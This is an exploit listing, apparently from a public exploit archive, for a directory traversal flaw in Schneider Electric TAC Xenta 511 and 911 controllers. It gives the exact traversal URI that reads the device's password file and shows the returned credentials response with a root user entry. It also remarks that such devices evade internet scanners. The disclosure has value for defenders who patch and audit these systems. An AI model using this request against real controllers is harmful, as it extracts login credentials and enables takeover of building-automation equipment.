32 lines
No EOL
700 B
Text
32 lines
No EOL
700 B
Text
# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure
|
|
# Date: 25.05.2018
|
|
# Exploit Author: Marek Cybul
|
|
# Vendor Homepage:
|
|
https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf
|
|
# Version: 5.17
|
|
|
|
# Schneider Electric TAC Xenta 911 and 511 PLCs
|
|
|
|
Directory traversal in help manuals allows for credentials extraction
|
|
|
|
Devices are not indexed by crawlers like Shodan or Censys due to
|
|
ancient SSL configuration,
|
|
needed to use old browser to support it (not even s_client, curl or
|
|
ncat could connect).
|
|
|
|
|
|
Example URI: /www/help/public/../../../sys/pswd
|
|
|
|
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
|
|
|
|
HTTP/1.0 200 OK
|
|
|
|
root
|
|
super user
|
|
/
|
|
/
|
|
/
|
|
password
|
|
0
|
|
900
|
|
3 |